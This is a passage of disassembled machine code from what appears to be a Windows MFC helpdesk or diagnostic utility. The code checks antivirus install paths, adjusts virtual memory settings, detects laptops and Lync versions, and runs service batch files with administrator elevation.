call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x1bd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a771c
lea rdx, str.C:_Program_Files__AVAST_Software_AvastAvastUI.exe
lea rcx, [rsp + 0x1be0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1be8]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1be8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x510]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.AVG_Antivirus
lea rcx, [rsp + 0x6b8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a7863
lea rdx, str.C:Program_Files__x86_AVGAntivirusAVGUI.exe
lea rcx, [rsp + 0x518]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x518]
lea rcx, [rsp + 0x1bf0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a77ca
lea rdx, str.C:_Program_Files__x86___AVG_AntivirusAVGUI.exe
lea rcx, [rsp + 0x1bf8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1c00]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c00]
jmp 0x1400a784b
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x518]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x518]
lea rcx, [rsp + 0x1c08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a7854
lea rdx, str.C:_Program_Files__AVG_AntivirusAVGUI.exe
lea rcx, [rsp + 0x1c10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1c18]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c18]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x518]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_ControlBarCleanUp]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.CheckVirtualMemorySize
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a7dc8
lea rcx, [rsp + 0x6c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
call fcn.140101290
mov edi, eax
lea rax, [rsp + 0x1c20]
mov qword [rsp + 0x58], rax
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x1c20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
mov rbx, rax
lea rdx, str.computerLowMemory_system_RAM_SIZE
lea rcx, [rsp + 0x1c28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
shl edi, 0xa
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x140171b20]
cvttsd2si ebx, xmm0
lea rcx, [rsp + 0x3b8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
mov r8d, ebx
lea rdx, [0x14015e840]
lea rcx, [rsp + 0x3b8]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
mov r8d, edi
lea rdx, [0x14015e840]
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
lea rdx, [0x14014fcf8]
lea rcx, [rsp + 0xbf8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x3b0]
lea rdx, str.c:pagefile.sys
lea rcx, [rsp + 0x1c38]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xbf8]
mov rdx, rax
lea rcx, [rsp + 0x1c30]
call fcn.140006490
nop
lea r8, [rsp + 0x3b8]
mov rdx, rax
lea rcx, [rsp + 0xc28]
call fcn.140006490
nop
lea rcx, [rsp + 0x1c30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbf8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerMemory_Management
lea rcx, [rsp + 0x6c0]
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
lea rdx, str.PagingFiles
lea rcx, [rsp + 0xc20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rax, [rsp + reloc.mfc140u.dll_CMFCPropertySheet::GetRuntimeClass]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + reloc.mfc140u.dll_CMFCPropertySheet::GetRuntimeClass]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x1c48]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r9, 0xffffffff80000002
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.140100960
nop
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
lea rcx, [rsp + 0xc28]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
jne 0x1400a7bb6
lea rdx, str._MB._Click_on__NEXT_STEP_.
lea rcx, [rsp + 0xc08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str._MB__maximum_size__
lea rcx, [rsp + 0xc00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x3b0]
lea rdx, str.System_virtual_memory_is_already_at_optimum_initial_size__
lea rcx, [rsp + 0x1c68]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xc00]
mov rdx, rax
lea rcx, [rsp + 0x1c60]
call fcn.140006490
nop
lea r8, [rsp + 0x3b8]
mov rdx, rax
lea rcx, [rsp + 0x1c58]
call fcn.140006490
nop
lea r8, [rsp + 0xc08]
mov rdx, rax
lea rcx, [rsp + 0x1c50]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
jmp 0x1400a7d6a
mov edx, 0x20
xor r8d, r8d
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
mov ebx, eax
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1c70]
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x20
xor r8d, r8d
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
mov r8d, eax
lea rdx, [rsp + 0x1c78]
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str._MB._Click_on__NEXT_STEP_.
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonDefaultPanelButton::CopyFrom]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str._MB___maximum_size__
lea rcx, [rsp + 0xc10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x3b0]
lea rdx, str.System_virtual_memory_has_been_set_to_optimum_initial_size__
lea rcx, [rsp + 0x1c98]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xc10]
mov rdx, rax
lea rcx, [rsp + 0x1c90]
call fcn.140006490
nop
lea r8, [rsp + 0x3b8]
mov rdx, rax
lea rcx, [rsp + 0x1c88]
call fcn.140006490
nop
lea r8, [rsp + reloc.mfc140u.dll_CMFCRibbonDefaultPanelButton::CopyFrom]
mov rdx, rax
lea rcx, [rsp + 0x1c80]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1c80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc10]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonDefaultPanelButton::CopyFrom]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor sil, sil
lea rcx, [rsp + 0x138]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.IsLaptop
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a7e49
lea rdx, str.hostname
lea rcx, [rsp + 0x1ca0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x6c8]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0x6c8]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
xor r8d, r8d
lea rdx, str.syglap
lea rcx, [rsp + 0x6c8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
lea rcx, [rsp + 0x6c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.IsAdminRequiredForSolution
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a81c3
lea rcx, [rsp + 0x268]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1ca8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ca8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1cb0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1cb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.InstallService.bat
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a8079
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x268]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rcx, [rsp + 0x560]
call fcn.140103a10
lea rdx, [0x140166320]
lea rcx, [rsp + 0xc30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1cc0]
call fcn.1400fe460
nop
lea r8, [rsp + 0xc30]
mov rdx, rax
lea rcx, [rsp + 0x1cb8]
call fcn.140006490
nop
lea r8, [rsp + 0x268]
mov rdx, rax
lea rcx, [rsp + 0xc40]
call fcn.140006490
nop
lea rcx, [rsp + 0x1cb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1cc0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.cmd.exe__k
lea rcx, [rsp + 0xc38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xc40]
lea rdx, [rsp + 0xc38]
lea rcx, [rsp + 0x1cc8]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x1cc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop dword [rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x560]
call fcn.140103a10
test eax, eax
je 0x1400a8050
lea rcx, [rsp + 0xc40]
jmp 0x1400a81af
lea rdx, str.DeleteService.bat
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a81b6
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x268]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [0x140166320]
lea rcx, [rsp + 0xe08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1cd8]
call fcn.1400fe460
nop
lea r8, [rsp + 0xe08]
mov rdx, rax
lea rcx, [rsp + 0x1cd0]
call fcn.140006490
nop
lea r8, [rsp + 0x268]
mov rdx, rax
lea rcx, [rsp + 0xc58]
call fcn.140006490
nop
lea rcx, [rsp + 0x1cd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1cd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xe08]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.cmd.exe__k
lea rcx, [rsp + 0xc50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xc58]
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0x1ce0]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x1ce0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x268]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.RunBatchFileInAdminMode
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a8339
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1ce8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ce8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1cf0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1cf0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0xc60]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1d00]
call fcn.1400fe460
nop
lea r8, [rsp + 0xc60]
mov rdx, rax
lea rcx, [rsp + 0x1cf8]
call fcn.140006490
nop
lea r8, [rsp + 0x50]
mov rdx, rax
lea rcx, [rsp + 0xc68]
call fcn.140006490
nop
lea rcx, [rsp + 0x1cf8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d00]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xc68]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r8, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0xc68]
jmp 0x14009d7a2
lea rdx, str.renameSipProfileDeleteFiles
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8457
lea rax, [rsp + 0x1d08]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x1d08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0x1d10]
mov rcx, r15
call fcn.1400aed70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x520]
call fcn.1400f1f20
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x520]
call fcn.140042c70
test al, al
je 0x1400a83ce
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x1d18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1401078c0
lea rdx, [r15 + 0x208]
lea rcx, [rsp + 0x6d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x6d0]
call fcn.140042c70
test al, al
je 0x1400a843b
lea r8, [rsp + 0x6d0]
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x1d20]
call fcn.140006490
nop
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e41d0
nop
lea rcx, [rsp + 0x1d20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x520]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.lyncVersionDetection
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a85b5
xor sil, sil
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1d28]
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1d28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x528]
call fcn.1400ff900
nop
xor r8d, r8d
lea rdx, str.16.0
lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8538
lea rdx, str.lync2016
jmp 0x1400a8580
xor r8d, r8d
lea rdx, str.15.0
lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a855d
lea rdx, str.lync2013
jmp 0x1400a8580
xor r8d, r8d
lea rdx, str.14.0
